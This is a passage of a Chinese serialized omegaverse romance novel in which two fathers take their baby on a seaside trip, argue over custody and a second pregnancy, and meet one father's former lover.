“你怎么让孩子坐桌子上?” 谢不辞闻言从厨房探出脑袋:“那桌子不挺宽的吗,而且椅子矮,他坐椅子上我在厨房里都看不见。” “好吧我记住了,我下次注意。” 他原想暗示一下孩子把零食给苏以安分一分,结果雪团看见亲爸,根本不会注意谢不辞,就只重复着让苏以安抱他。 第39章 第 39 章 雪团真的一点都没含糊的把刚才根本不让谢不辞碰的奶酪棒都给了苏以安。 但苏以安不想跟孩子抢吃的, 撕开包装只象征性的尝了一点点。 厨房里谢不辞趁着等烧水的空隙,悄悄拿手机给蒋泽发消息:[哥哥哥,江湖救急, 年底了我要怎么表现一把邀请他跟我一起过年?] 在给蒋泽发消息之前, 谢不辞也想过要怎么跟苏以安提起才显得不尴尬不突兀, 还不会让苏以安觉得是在可怜他。 但觉得怎么说都不太合适。 没等来蒋泽的回复, 谢不辞反倒先听见了苏以安喊他名字。 他靠在门框上问怎么了, 随后见苏以安迟疑了一下,跟他说:“我们去看海吧,就现在。” 谢不辞眨了眨眼睛,几乎没经过思考就冲回厨房动作熟练的把奶粉加进水里,拿着出来递给雪团,然后揽过苏以安的肩膀,把他送到门外。 “回去带两身衣服, 想去哪一会上车说。” 眼看着苏以安进了1501的门,谢不辞才做贼似的轻手轻脚的关上了自己家门,凑到抱着奶瓶看向他的雪团身边。 “儿子哥, 你跟我讲讲发生了啥呗?” “虽然我没看见, 但我肯定你爸他这么说绝对是因为你, 他这么多年也没无缘无故拽我出去旅过游。” 雪团也是那种安安静静的性格,从教他说话开始谢不辞就知道他不太爱说话,也没指望这么大点孩子还能跟他唠两句。 “咱就是说,能不能把你爸留住就看你了。” “把他留住你也有爸爸我也有老婆,想要什么你跟我讲,我贿赂贿赂你行不?” 雪团歪着脑袋看向他, 也不知道刚才说了半天听懂了多少,但回答谢不辞倒是言简意赅:“要爸爸。” “妥了哥, 等的就是你这句话。” “你要不是我亲生的我高低跟你拜个把子。” 谢不辞动作很快的给雪团套了身厚衣服,又带好了奶粉零食之类的必需品,随后背着包抱着孩子到楼下停车场里。 本以为自己先下来打开暖风会显得特别贴心,但苏以安开车门以后第一句话就是:“那么冷你为啥要把孩子带下来?” “你就不能先开暖风再收拾东西吗,你没空看孩子怎么就想不到多走两步送到我那?” 谢不辞:“……” 好有道理啊。 但是算了,也不是第一次没装成功。 苏以安除了带了必备的衣服还有画板和颜料盒之类的,是方明之帮着拎下来的,他隔着车窗跟谢不辞说完话以后又跟方明之说了什么。 谢不辞在车里听不清。 只知道苏以安上车的时候,方明之的最后一句是,你自己有分寸就好。 谢不辞觉得他俩不会密谋什么好事,但还是特别有分寸感的什么都没问,等苏以安抱着雪□□好安全带以后才开口:“决定好去哪了吗。” “我以为这种事情,按谢哥的人脉,到现在已经从头到尾都安排好了呢。” 众所周知,alpha都是有胜负欲的。 谢不辞闻言立马给家里管家打电话,然后自己开车带着老婆孩子往机场走。 苏以安以前过得穷苦节俭,现在肯定也接受不了铺张,所以谢不辞特意只选择了商务座,没包一整架飞机。 管家定好的目的地是个看图片就知道很浪漫很适合约会的地方,海滨城市,景点众多。 这会临新年还有将近一个月的时间,谢不辞他爸专门出资在那边给买了套房子,让他们玩够了再回来。 还说年后雪团让苏以安跟着一起给雪团办周岁生日宴,抓周之类的活动一样都不能少。 临出发之前,专门接应的司机说,谢不辞他爸嘱咐,要把之前的育儿嫂也带着,省的谢不辞毛手毛脚的出门在外连搭把手带孩子这种事都做不好。 这个没法说,这是真贴心。 到达目的地的时候,拉开车门,立马就能感觉到扑面而来的海风。 空气是潮湿的,带着大海特有的咸咸的味道。 这样的地方,景色自然是无可挑剔的,一路上走过来,路过了不少打卡点。 风车,秋千,椰子树。 雪团似乎是第一次被带出来玩,趴在苏以安肩膀上左看右看的。 觉得孩子太小不能玩水,苏以安还特意带着雪团挑了个他能拿的起来的漂亮小铲子。 来旅游的人不少,苏以安带着雪团上沙滩,有不少小孩凑在一起挖贝壳。 谢不辞拿着还没他巴掌大的小铲子,蹲在地上一下一下戳沙子:“我……我也挖?” “那你想要啥色的贝壳,我给你刨。” 他一个一米八几的alpha,被一群看起来还没上小学的孩子围中间,跟受气似的蹲在那拿小铲子画圈,有种说不出来的喜感。 “你快说啊,要不然我抢不过那群小孩,把别人家孩子逗哭了我不敢哄。” 然后苏以安好整以暇的望向他没说话的这段时间里,谢不辞从湿漉漉的沙子里扒出了不少东西。 他精挑细选了半天,还把沾着泥沙的贝壳冲洗干净才递给苏以安。 怎么形容呢,大概就是……一大堆好看的东西里,谢不辞专门选了一个丑的最牛逼的拎出来要送人。 偏偏他还觉得他挑了一个最独特的。 “谢谢你,但……其实我也不是非要不可。” 谢不辞倒是没受打击,又蹲下身子把贝壳往雪团面前递,结果雪团视线在贝壳和身上流连了一圈,回答:“不要。” 谢不辞:…… 雪团没见过活着的小螃蟹,这会注意力完全不够用似的。 后面两人一商量,就把雪团留在沙滩,交给育儿嫂带着,然后他们去海边走走。 光着脚踩在不算凉的海水里很惬意。 谢不辞先是跟着苏以安走走停停的逛了一圈,随后才找娱乐项目。 他俩打了这么多年,不管干什么都是谁也不服谁。 像扎气球打水仗这种活动必须要分出高下来,连带着摩托艇都想自己上去开一圈比速度。 好在是不能喝酒,不然一边劝一边暗戳戳较劲,几瓶下去,再发生点什么就不太可控了。 他们在海边,看了日落才往回走。 等到后半段,谢不辞的视线基本就没从苏以安身上挪下来过。 他以前一直觉得,苏以安总在被迫乖顺,装的时间久了,该是什么样子他可能自己都不记得了。 可这一趟接触下来,谢不辞才感觉到,只要离开原来那个肮脏压抑的圈子,无论经历过什么,苏以安都鲜艳热烈,带着那种他本身就是艺术的,最吸引谢不辞的光环。 在穿过夜市回家的这段路程里,谢不辞无数次想开口问,为什么苏以安会突然转性能与他和平共处,但纠结许久还是都硬生生把话咽了回去。 海王圈里规则就是这样的。 不确定关系,不执着结果,享受当下得过且过。 有些话,讲清楚了反倒徒增烦恼。 他不认为那个还没决定好要怎么处置的孩子可以悄无声息的翻篇,所以他们的关系始终像是掉下悬崖之前唯一能抓住的腐木,也许根本不需要任何外力,就可以在谁都说不准的某一个时间点,彻底断裂崩塌。 可又无论谢不辞有多想解决,都是徒劳。 因为苏以安受到的所有伤害都是他直接或间接造成这一点,他自己都承认是事实。 谢不辞的思绪是被面前递过来的椰子拉回来的。 雪团抱着个比他脑袋还大的椰子,喊谢不辞爸爸,说要把椰子给他。 谢不辞有些疑惑的看了一眼苏以安,苏以安示意他从切椰子的小摊上再拿个吸管。 要是他没想那些乱七八糟的,他就不会错过前面苏以安带着雪团商量把椰子给他的过程。 最开始是苏以安先尝了一口椰汁,说没有添加剂一点也不好喝,然后忽悠雪团也来一口。 都一致认为确实就是不好喝之后,为了给孩子培养优良品德,苏以安还专门教雪团怎么忽悠谢不辞。 小孩子学说话没学那么清楚,以至于苏以安教的那句,拿谢不辞当垃圾桶,不爱吃的直接扔给谢不辞就行了。 孩子复述完以后,被谢不辞理解成了让他找垃圾桶,让他把椰子扔垃圾桶,和不太敢确定的他是垃圾桶三种意思。 他跟雪团不同频交流一个比一个急的时候,苏以安就抱着孩子在他俩中间看热闹,哪头都不帮忙翻译。 等他俩吵吵了半天终于明白对方要说啥了,苏以安才不疾不徐的开口:“人家说这里椰子是特产,我俩专门给你留的,你尝尝。” “不是?你刚教我儿子说要把我当垃圾桶,不爱吃的都给我,现在又成专门给我留的了?” 苏以安一点都没见心虚:“你怎么净干点子给你说好听的你非得专门找骂这种事?” 谢不辞哦了一声,然后从小摊上装吸管的袋子里扯了一支新的出来,刚准备追上苏以安往家走,却又像忽然反应过来了什么似的,把新吸管重新给人放了回去。 做人不能太铺张,还是要节约资源的。 他也尝了一口老婆孩子都觉得不好喝的椰汁。 还行,没什么奇怪的味道,算不上难喝但也没多好喝。 第40章 第 40 章 谢不辞他爸提前给买的房子是这一片里看海角度最好的, 而且是个精装房,两室一厅。 逛完夜市回来的时间也不早了,雪团早就困得要睁不开眼睛了。 晚上正是活动最热闹的时候, 海边在办篝火晚会, 这边最大的酒吧还有party。 谢不辞能感觉到苏以安是想出去继续逛的, 毕竟他俩以前都昼夜颠倒似的玩一整个夜场。 但夜场, 不喝酒就没乐趣了。 把雪团哄睡着以后, 苏以安又像以前一样,独自坐在阳台落地窗前面往外看。 在谢不辞的角度看,那背影一如当初苏以安离开他之前那般单薄落寞,想起苏以安当时抱着他的衬衫示弱一般问他能不能别抽烟的场景,谢不辞无端生出几分愧疚来。 他从行李中翻出了一件不算特别厚的外套走到阳台,动作很轻的披在苏以安身上。 这个季节就算是临海,晚上也算不得多暖和。 窗外海边已经看不见什么游客了, 吹不到晚风,坐在这也只能对着成了静态的景色发呆。 “想跟我说什么?” “咱俩能有什么可说的,这不是阳台景色好吗, 我过来看看海。” 谢不辞本身是过来陪他的, 想问他怎么了的话还没说出来, 就被他抢先开口。 以前干的都是喝多了就遵循身体本能的事情,谢不辞几乎跟谁坐下来好好唠过。 而且谢不辞这人以前少爷病可严重了,现在要求他有情商会哄人,还不如让他消停一会把嘴闭上呢。 起码能减少冲突。 “要不咱俩还是聊两句呢?就……现在这个孩子你怎么打算?” 苏以安偏过头去看了他一眼。 也许海边的月光就是比在酒吧门口看见的柔和一些,有那么一瞬间,苏以安甚至有点理解了那些想方设法往谢不辞床上爬的。 钱不钱的先放一边, 哥真挺有姿色的。 “那你希望我怎么打算。” “这个……我也配发表意见吗?” 苏以安收回视线,低下头笑了笑:“你要是不会聊, 咱不是非说不可,再往下讨论,雪团我也不想留给你。” 紧接着就又是静坐。 有的时候谢不辞挺搞不懂他们那些动不动就坐下发呆的人脑子里都在想什么,要是把谢不辞扔在这干坐着,他用不了多长时间就得发疯。 不过好在,也确实没安静多久。 回来的时候觉得两人都没睡,不需要人专门看着孩子。 雪团自己在房间里,没睡多久就醒了,见不到人就开始哭。 谢不辞听见以后就立马起身,先苏以安一步去房间看雪团。 他开了房间灯,走到床边把雪团抱起来,但雪团还蛮抗拒的,看都不愿意多看他一眼,只说要找他爸爸。 苏以安没跟着他进来。 谢不辞无奈,只得把孩子抱到阳台去。 他家雪团现在就处于一种,不是不能跟着他,但如果苏以安不提前带着商量好,就一点都不让谢不辞带的状态。 挺好的。 不过得是在雪团的户口一定属于他,苏以安没办法轻易迁走的前提下。 苏以安把孩子接过去也没说话,雪团在他怀里待得很老实,没过五分钟就又睡着了。 见苏以安目前也没有要从阳台离开的意思,谢不辞还特别有眼色的给拿了条小毯子过来。 虽然苏以安从始至终都没什么表情,说话语气也平静,但谢不辞就是觉得他不开心。 “你是不是在怪我,如果没有那么多乱七八糟的事情,你现在应该在对面街那个party上喝酒。” 苏以安反问:“你觉得我是因为这个才一脸郁闷的坐在这?” 谢不辞没回答。 他确实是这么认为的。 都已经出来玩了,没烟没酒没男模,那不就跟进少儿频道还坐小孩桌一样吗,换成他他都要急眼了。 “喝不喝无所谓,我对酒没什么瘾。” 苏以安不会在这种无关紧要的事情上骗他,这种氛围下,不管他说什么谢不辞也都不会怀疑。 不然怀雪团那一年多里,烟酒都不沾,绝对比现在难熬多了。 可是,沈伊之前说过,苏以安喝酒每次都带着要把自己喝死的架势。 为什么? “而且,你花钱能解决的事情,我也可以,我不是出不起这个钱。” “我带男模过来玩,或者到了这边再包几个,不比跟你过来玩的更踏实吗。” …… 这话说的太戳谢不辞心窝子了,以至于知道不会得到什么好回答谢不辞也还是开口问了:“那你为什么选我?” “你猜。” 谢不辞听见这两个字的先是觉得莫名其妙,随后便立刻意识到,苏以安什么都没回答他,那就是早就已经做好了打算。 因为他没再逃避问题,逃避的是谢不辞。 这本身就不对劲。 “那你能不能告诉我,你怎么打算第二个孩子。” 苏以安低下头看着被子里只露出半张小脸的雪团,伸手把盖在孩子身上的被子往下拽了拽。 “我一没用你负责,二没跟你要钱,三没拿这孩子威胁你。” “我怎么打算跟你有什么关系。” “那怎么能没有呢?!” 谢不辞闻言急得语调都拔高了几分,结果因为差点把孩子吵醒被苏以安打了一下手背。 “这根本就不是……哎呀你说的都不是重点。” 他是渣了点,但起码三观和人品都还相对正常。 知道打个孩子很伤身体,也知道没有人生孩子容易,他不是没看见过苏以安之前吐成什么样。 再没立场过问,他也不能直接撒手不管。 但苏以安显然没get到他在别扭什么,偏过头用看起来特别认真的语气一字一顿的跟谢不辞开口:“这次真不讹你。” 谢不辞:? “你现在把雪团喊起来,跟他商量让他今天晚上跟育儿嫂睡。” “我一两句话没法跟你掰扯清楚。” 苏以安哦了一声,盯着雪团沉默了片刻,然后抱着孩子起身,在谢不辞的注视下往卧室走:“你大晚上别抽疯,我跟雪团先睡了,你去侧卧。” …… 不出意外今儿晚上谢不辞是睡不着了。 但是有什么的。 不就是老婆一点也不愿意跟他交流这种小事吗。 明天晚上再说也一样的,如果雪团能懂事一点不早睡的话…… 早上起来也不是不能说…… 所以到底为什么现在不听他讲完啊!这么大的事情为什么当事人一点都不着急? 谢不辞深吸一口气,在侧卧床上急得锤了好几下枕头。 然后掏出口袋里的手机给蒋泽和季文璟都喊起来在小群里打视频电话。 这会已经差不多是半夜了,蒋泽自己不会跑会所那种地方,所以他是真被谢不辞一个电话从被窝里拽起来的。 季文璟那边是白天,不过应该有什么论文这种特别熬头发的事情,反正也是一副生无可恋的表情。 “你俩怎么看起来比我还” 蒋泽还没完全清醒,季文璟听见有八卦就立马来了精神:“别扯那没用的,快讲重点。” “我问他怎么打算孩子,他说不讹我,然后就没了。” “这能信吗?” 不知道是不是他俩打架打的时间太长了,加上总有些他俩看起来这辈子都不会和好的前情提要,季文璟听见的第一反应是质疑。 “讹我他得出面啊,他可以现在就讹,不用打迂回战术。” “哦。” 视频里谢不辞就差把蒋泽从屏幕里薅出来问了,蒋泽也只是气定神闲的打了个哈欠,然后反问他:“你有没有跟他说什么奇怪的话。” “只要是可能让人误会的都算上,不管你有心无心。” 蒋泽了解自己玩了这么多年的哥们,知道让谢不辞追人,他那张嘴,说不出什么好话来。 所以问题一定出在这。 谢不辞最近跟苏以安的交流其实不算多,能说带歧义的话的机会就更少。 只是硬要找的话,好像也不是不能揪出来两句:“他说我要结婚的话,记得提前通知他,让我给雪团找个靠谱的后爸。” “然后呢?” 蒋泽听到这就已经有心理准备谢不辞一定会把事情搞砸了,但就是不死心的想听听他到底能捅出多大的篓子,于是专门开口问一句。 “然后我就以为他是想跟我结婚又没好意思直接说呗,我反问他八竿子都打不着的事情,他这么着急吗。” 谢不辞说完,整个电话都安静下来了。 他也一点没错过季文璟表情的变化。 蒋泽断句之前:什么乱七八糟的玩意? 断句之后:不是,哥们? 还得配上头顶加载转圈符号的表情包。 屏幕上的人好几秒都没有动作,谢不辞都怀疑他那边是不是网不好画面卡住了。 “你……” “我说实话我都有点不好意思笑你。” 谢不辞没理会蒋泽埋汰他这一套,又继续开口:“我承认可能说话内容确实有点欠佳,但是我读懂他的暗示了呀。” 这会轮到季文璟说话了:“那么问题来了呢。” “你是用哪个明确的文字像向透露出,你看出了他是这么在暗示你的?” 谢不辞一愣。 紧接着蒋泽立马补刀:“该不会没有吧谢哥?” “这跟你让人滚出去别自作多情有什么区别?” 40-50 第41章 第 41 章 谢不辞特意仔细回忆了一下那天晚上他跟苏以安的全部交流。 回忆到最后发现, 他好像,真的没让苏以安听出他有要娶了他的意思。 而好巧不巧的,为了给苏以安一个惊喜, 找人筹备要办婚礼这种细节, 他也没向苏以安透露。 所以, 他就这么华丽丽的制造了一个超难解决的问题。 谢不辞自己都有点想笑。 其实这个世界上没有人可以一直说错话, 也没有人可以一直在老婆面前把事情搞砸。 除非他叫谢不辞。 “所以……那我现在应该做点什么?” “你想办法自求多福吧。” 蒋泽扔下这一句话就挂了电话, 留下谢不辞和季文璟面面相觑。 平常因为吃不到这种瓜,季文璟还挺有兴致的,拉着谢不辞继续聊:“然后呢,他现在又说什么了?你展开讲讲。” “他说雪团也不是很愿意留给我。” “……” 没有孩子,谢不辞好像就连跟苏以安玩他逃他追的资本都没了。 季文璟没接话,在视频那头低下头戳屏幕。 随后谢不辞就小窗收到了他发过来的个人名片推荐:AAA内陆离婚律师季先生。 谢不辞看见名片愣了一下。 还没结婚,就已经要操心找离婚律师干什么活了。 这日子让他过的。 “你现在最要紧的是查查怎么把孩子的户口留在你手里。” “知道你需要法律援助, 哥们帮你找好了,不用谢~” 最后那句不用谢,季文璟说得要多阴阳有多阴阳, 还生怕恶心不到谢不辞似的, 直接给他展示了一把什么叫波浪号语气版。 那个幸灾乐祸的劲, 隔着十万八千里谢不辞都感受到了。 “有消息记得先告诉我,我虽然帮不上你什么,但我可以第一时间笑话你。” 谢不辞一边对着电话让他滚,一边口嫌体正直的对着那律师的名片点了添加好友。 这会才刚入夜,离天亮早着呢。 于是谢不辞又点开了熟悉的搜索框,输入没结婚alpha成功争夺孩子抚养权的可能性有多大。 看见百分之八十的时候他还开开心心的点进详情。 结果详情里出的都是一些个不用过脑子就知道得十年起步的招, 像什么去o留子,利用钞能力对omega威逼利诱之类的。 原问题的题主也是个极品, 说什么只是想让他家除了带孩子吃干饭就一点用都没有的omega净身出户而已,对方不会执着于带走他们家孩子的话,他也愿意支付四位数的精神损失费。 这么财大气粗,张口就是四位数,给omega这么多钱,不得把祖上三代的家底都掏干净? 为了找点正常的回答,谢不辞还特意在原问题里加了不犯法三个字。 这次搜到的结果就很有参考意义,说如果是得了信息素管理局认证的户口,上在谁家就是谁的,就算离婚或分家也几乎不可能发生改变。 按苏以安最开始把孩子给他的作案动机,加上塞在婴儿车底下那一大串的权威盖章来看,绝对就是苏以安没法轻易把雪团户口带走的意思。 不然按他的行事风格,只要起了不想把雪团留给他的想法,就一定会悄悄的把孩子户口带走,甚至也许最后手续都办好了,要一走了之了,才可能施舍性的通知他一下。 谢不辞放下手机,躺到床上闭上眼睛。 人嘛,过得太顺了就总得来点让你束手无策的事情。 他很清楚,目前来讲,无论他做什么说什么,苏以安都不相信他,且油盐不进。 觉得今天晚上很难睡着,谢不辞翻出行李箱里一直塞着没专门拿出去过的烟,点上火打开卧室门走出去。 原想去阳台冷静一下,但烟刚抽了一口,谢不辞就看见了阳台的灯光。 苏以安抱着雪团坐在画架子前面,拿着画笔也不知道在丈量什么。 谢不辞掐掉烟,轻手轻脚的走到他身边坐下。 “有心事啊?这么晚还不睡。” “我也不是非得跟你掐架,我保证绝对不嘴欠,不跟你吵,你跟我讲讲行吗。” 谢不辞往画板上看了一眼。 纸上只有大面积的铺色,和简单的海浪轮廓,还是灰蓝色的海,看起来就很压抑。 他原以为苏以安心情不好不会搭理他,却没等多久便听见苏以安叹息似的开口:“再生一个孩子,我就不漂亮了。” 他没理解苏以安想表达什么,便没开口,等着苏以安继续往下说。 “我已经没有家了。” “手里那些钱也不是什么拿得出手的渠道得来的,就算除掉一个你,不想放过我的人也多了去了。” “本来就除了长相没一点优势,现在还失去了完成一副作品的能力,连谋生手段都没了……” 谢不辞站起来,接过苏以安手中的画笔放回旁边的小支架,伸手揽住苏以安的肩膀把人抱进怀里。 “我不在这种时候拿承诺空手套白狼忽悠你,也不会把雪团从你身边抢走。” “我说爱你不信没关系,这个动词,你儿子不用说你也能感受到。” 他虽然不理解苏以安到底在因为什么难过,但却真真切切的因为苏以安这番话揪心。 而且除了拿到孕检单那天,谢不辞几乎从没见过苏以安掉眼泪。 苏以安那么漂亮,哭一哭没什么拿不到的。 起码高中那会苏以安要是跟他哭他肯定下不去手欺负人家。 刚才那两句话说出去以后,谢不辞又有些后悔。 因为他不清楚提雪团会不会戳到苏以安的痛点。 之前他们家育儿嫂请假,苏以安很快就发现保姆在他家里发疯给他打电话那次。 明明就住在对门,他就不能去敲门吗。 雪团因为这个生病了一个多礼拜,他也不是不知道,中间谢不辞也跟他说过很多次雪团很想他,他都没来看过孩子。 “我不配说我是雪团爸爸。” 因为有灯光,他俩你一句我一句的,谁也没闲着,雪团这会也睁开眼睛,把小手从毯子里伸出来。 “你快拉倒吧,你现在让雪团在咱俩中间二选一他肯定不会选我。” “那就说明给我之前,你也没虐待过他。” “那么小都孩子他懂什么啊,他不知道为什么他等了那么长时间都等不到爸爸,但他看见了你,还是会很开心的喊你抱他。” 苏以安低头就可以看见正啃着小手的孩子认认真真的望着他,深夜被吵醒也不哭不闹。 谢不辞原本想说,雪团和现在来的第二个孩子没什么区别,都是他俩的,也都出现在完全意外的时间节点。 雪团连一周岁都没有,又不记事。 要老二就把老大扔下太不公平了。 但觉得怀孕的omega一定情绪敏感,就没再胡言乱语。 “只要你向我开口,我能做到的我绝对不会含糊。” 苏以安没表态,只小声跟雪团商量着让雪团今晚跟谢不辞睡。 离天亮没几个小时了。 谢不辞把雪团重新带回卧室,因为能看出苏以安想自己待一会,就没再过去打扰。 第二天一早,两人商量过后决定出去逛逛,买些海产品自己回来做饭,通宵没睡的等到下午再补。 换好衣服出门,雪团还是只让苏以安抱。 现在不算旅游旺季,但街上的人也不少,他们没选专门卖水产品的街,只当做出来遛弯,走到哪算哪。 听着商贩的吆喝和旅客有一搭没一搭的砍价声往前走,还挺有人间烟火气的。 谢不辞以前从没体会过。 一路上买了生虾和深海鱼,还给雪团买了玩具,送了苏以安纪念品。 临回去之前,谢不辞还难得得了句夸奖:“什么时候学的这么有绅士风度了?” “还行吧,多少应该能比你认识那头牌哥强点。” 本来被夸一句挺开心的,结果谢不辞忽然意识到苏以安跟他逛街,同时也跟那头牌哥逛过超市,他自己也说不清到底在暗戳戳较什么劲,脱口而出就是一句酸溜溜的话。 “我还以为,我谢哥这身价,不惜得跟人家头牌比呢。” 谢不辞闻言眉毛都快拧到一块去了:“我那也能叫跟他比吗,我明明是……” “好好好,知道了,玩去吧。” 这九个字简直杀伤力拉满,苏以安说出口之前就已经意识到了谢不辞肯定炸毛。 还没等谢不辞下一句话说出口,就有个不知道从那个方向冲出来的人,把站在谢不辞身边的苏以安挤到一边。 那人热情的拉住谢不辞的手:“我就知道你心里肯定是有我的,当初说好了我们旅游结婚,你就来这么浪漫的地方专门找我。” 说话间他还直接朝谢不辞伸出另一只手,主动把手指分开:“你现在可以给我带戒指了,我愿意。” 谢不辞有些木讷的抽出自己的手,回想了半天也没记起来他到底在哪见过面前这人。 “哥们你确定你没认错人吗?” “谢不辞!你化成灰我都认得你。” “快点别闹,这么多人看着呢。” 谢不辞愣了愣,没再回答,反而下意识偏过头去看苏以安的反应。 第42章 第 42 章 倒v结束 苏以安没什么反应。 不是那种好面子吃醋了的故作淡定, 没有一点表演痕迹,谢不辞甚至能从信息素里感受到,他就是毫不在乎。 连随口问一句这人是谁的好奇心都没有。 谢不辞有一瞬间的恍惚。 以前苏以安那么爱他, 他居然完全不知道这感情到底是什么时候被悄无声息消磨掉的。 面前人见谢不辞不言语, 也终于意识到了不对劲:“你不会没有给我准备戒指吧?那就是你的不对了。” “要不这样吧, 你请我喝杯威士忌, 这次就先饶过你了。” 谢不辞打量了一下眼前站着的omega。 他整体衣着风格也是那种张扬艳丽的颜色, 身上也带着小画家该有的那种自由浪漫的艺术气息。 他还没有苏以安那么倔,会撒娇也很识时务,知道会维护对方面子,光是这两点,就已经足够拿捏绝大多数的男人了。 谢不辞不记得他叫什么,但记得最怀念苏以安却又联系不上苏以安的那段时间,看见他的第一眼, 就觉得他们俩特别特别像。 像到他给了谢不辞一种苏以安要是拿他当老板,他们俩也一定是这么相处的感觉。 后面因为谢不辞同一个情人不玩第二个月的规矩,就算不舍得也还是找了个理由把人忽悠走。 当时说的就是, 等什么时候能在全世界最浪漫的地方重逢, 他们就结婚。 换做以前, 这会正常流程就是当做情调应和一下,然后搂搂抱抱的把人带上,喝点小酒,玩点不那么正经的游戏…… 谁也不提结婚这种浪费气氛的事。 但是今非昔比。 心里脑子里一个人都没有的时候,身边人越多,越能因为虚荣心膨胀获得快乐。 可一旦有了牵挂, 再被扔进以前那嘈杂吵闹的圈子里,谢不辞就只能感受到无所适从。 他往后退两步拉开与那小omega的距离, 有些拘谨的开口:“抱歉啊,我随口胡说的。” “而且,我已经有家室了。” 对此谢不辞还生怕对方不信,从苏以安手里把雪团抱过来展示了一下:“你看,我儿子,马上一周岁了。” 这会一直站在旁边没说话的苏以安才被注意到。 似乎是话题转折得太快了,那追过来找谢不辞的omega还有些没反应过来,刚才那几句话消化了半天,才犹豫着朝苏以安问道:“你是他老婆?这孩子……” “不是。” “孩子是他的桃花债。” 苏以安本想埋汰谁两句,他也说不清谢不辞这种反应到底是哪不对,反正就是惹得他可烦了,因为是在大街上才强忍着没把情绪表露在表面上。 “那……” 谢不辞见苏以安有想走的意思,也没顾得上什么礼貌不礼貌的,不等omega把话说完就留下去抱歉,拎着东西抱着雪团去追苏以安。 见谢不辞追上来,苏以安倒是没开口就阴阳怪气。 他觉得,他不开心的只是谢不辞胡乱沾花惹草,还惹到孩子面前,拒绝的方式也是拿孩子当挡箭牌。 富人圈里就这个德行,太张扬了想攀附谢不辞的就一定会把目光放在谢不辞大肆宣扬的那个孩子身上。 所以胸腔里蔓延的那明显酸涩感,也被理解成了心疼跟谁都过不好的孩子。 以至于偏过头看见谢不辞那根本不知道发生了什么的表情,苏以安甚至想给他两拳。 “那个……我其实不认识他你信吗?” “哦。” 谢不辞不认识,苏以安倒是对那人有印象。 没有名字,没有家庭背景,只知道是个为了嫁进豪门左右逢源广撒网的交际花。 不过总体看来,家世肯定是不差的。 至少人家身上有那种用钱砸出来的气质,苏以安接触过那么多人,是不是装大款这一点,从没看走眼过。 所以也许他配得上谢不辞,只是谢不辞太钝感没防备。 苏以安对他的第一印象并不好,因为依稀记得第一次见到他那天,苏以安在酒吧转悠了一大圈,碰了三次面,听见他自我介绍说出了三个不同的名字。 嘴里没一句实话的人,换做以前,扔到谢不辞身边,苏以安肯定觉得是天道好轮回,恶人自有恶人磨。 可现在雪团是跟着谢不辞的。 或许听起来有点又当又立,但苏以安就是无论如何都无法接受雪团有这样的后爸。 “你别生气。” 谢不辞没哄过omega,这会就像个呆子一样,不知道苏以安因为什么不高兴,但觉得他这会该说点啥,于是憋了半天才终于憋出来这么一句。 “我有什么可生气的。” 他凑到苏以安跟前偷偷打量了一下他的表情,然后像个小学生一样真诚发问:“你怎么证明。” “你去死。” 行,对味了。 还知道骂人就行,要不然顶着副面无表情的死人脸,太可怕了。 这段小插曲到这就算过去,回了家以后一切如常,把雪团送到育儿嫂手里看一会,饭还是两个人一起做的。 谢不辞没再看出苏以安不高兴,反倒是认认真真的跟他一起做饭,蒸海鲜的时候还给雪团专门蒸了鸡蛋羹。 他一直以为苏以安也不会做饭来着。 不过端上桌的菜,好不好吃的先不提,卖相绝对漂亮。 把雪团接出来一起上桌吃饭以后,谢不辞立马就理解了为什么有人追求那种平淡无聊的日子。 现在这样,就特别像他们一家三口和和美美的过日子。 为此谢不辞洗碗的时候,还悄悄又到群里去询问了一波。 问苏以安有没有因为那个大街上拽着他说结婚的omega吃醋,问苏以安是不是已经原谅他了。 但蒋泽总会适时泼他一盆冷水:[我劝你别高兴得太早了,你知道的,苏以安这人心思重,他想什么都不会跟你说。] 季文璟也像专门等着谢不辞消息一样蹦出来接上蒋泽的话:[是的,而且苏以安最恶劣又爱演可是你当年的原话。] 人在恋爱脑上头的时候,听见这种话一定下意识反驳:[我那不是……我嘴里能说的出什么好话,不要拿标签去丈量别人。] [@蒋泽,你觉得他这个时候应该是怎么想的?] 他俩几乎是同时回了谢不辞两个省略号,还外加了一个无语的表情包,并配文:[难不成你是难得一见的天才?] [他怎么想你不问他,你让我们猜?] 谢不辞也想问来着,但苏以安在这种事情上很难跟他好好交流。 他刚把手机收起来,就听见了厨房门外雪团管他喊爸爸的声音,然后孩子含含糊糊的问他要不要出去玩。 谢不辞把手上的水擦干,然后接过雪团,问道:“你想去玩什么?” “抓小乌龟。” 谢不辞不知道这么小的孩子是怎么用不到一天的时间分清楚那些爬在沙滩上的动物的。 但他知道,这边沙滩上肯定是没有乌龟。 至少没有小乌龟。 他带着孩子走到主卧,敲了敲苏以安的门:“雪团说要抓小乌龟,哪有乌龟?” “昨天夜市那条街有卖的。” “你带他……算了一起去吧。” 苏以安也放下手机,从衣架子上拽了件外套下来,跟着谢不辞开门出去。 因为昨天晚上他俩谁都没睡,这会苏以安已经没什么精神了,出来走这一路也是打了不少哈欠。 雪团说的想抓的也不是小乌龟,是封在玻璃罩里游来游去还随着灯光变色的小水母。 怕只买一只孩子会因为这看起来就活不长的玩意死掉难过,谢不辞直接把人家那玻璃罩都给买了,还付了跑腿费,让老板给搬到他家里去。 虽然出去的目的很明确,但为了防止昼夜颠倒,谢不辞还是拉着苏以安带孩子玩到将近天黑才回家。 后面因为买了不少不太健康没法带着雪团一起吃的东西,他俩专门进家门之前把雪团送到了育儿嫂手里,费劲心思背着孩子吃独食, 今晚的月色超级好,坐在阳台,可以看到最完整的海景。 打开窗户,再在窗边放两瓶冰镇果汁,立马就能切切实实的体会一把什么叫享受生活。 这次两人在阳台圆桌前面对面坐着,也依旧没有交流。 谢不辞一直都有点纳闷,他跟苏以安不打架是不是就没什么可说的。 有点恨自己不争气,毕竟孩子都有了,还是俩。 话题就差直接怼到他脸上了,他也还是不知道怎么开口。 而且都熬了一通宵,谢不辞能感觉到苏以安很困,困到举着果汁瓶半天都想不起来喝一口。 那副不是因为不高兴才无精打采的样子有种说不出来的勾人。 苏以安晃瓶子里的气泡,发丝被微风吹到额前,那优越的骨相让人就算看不清脸也知道是个大美人。 这会谢不辞脑子里冒出来的第一个念头居然是,想亲他。 说香可能有点老套,但这个不远不近的距离,苏以安身上那若有若无的信息素味道只会更疯狂的加深这个念头。 “一会你去把雪团抱回来。” “今天晚上让他跟我睡吧。” “嗯。” 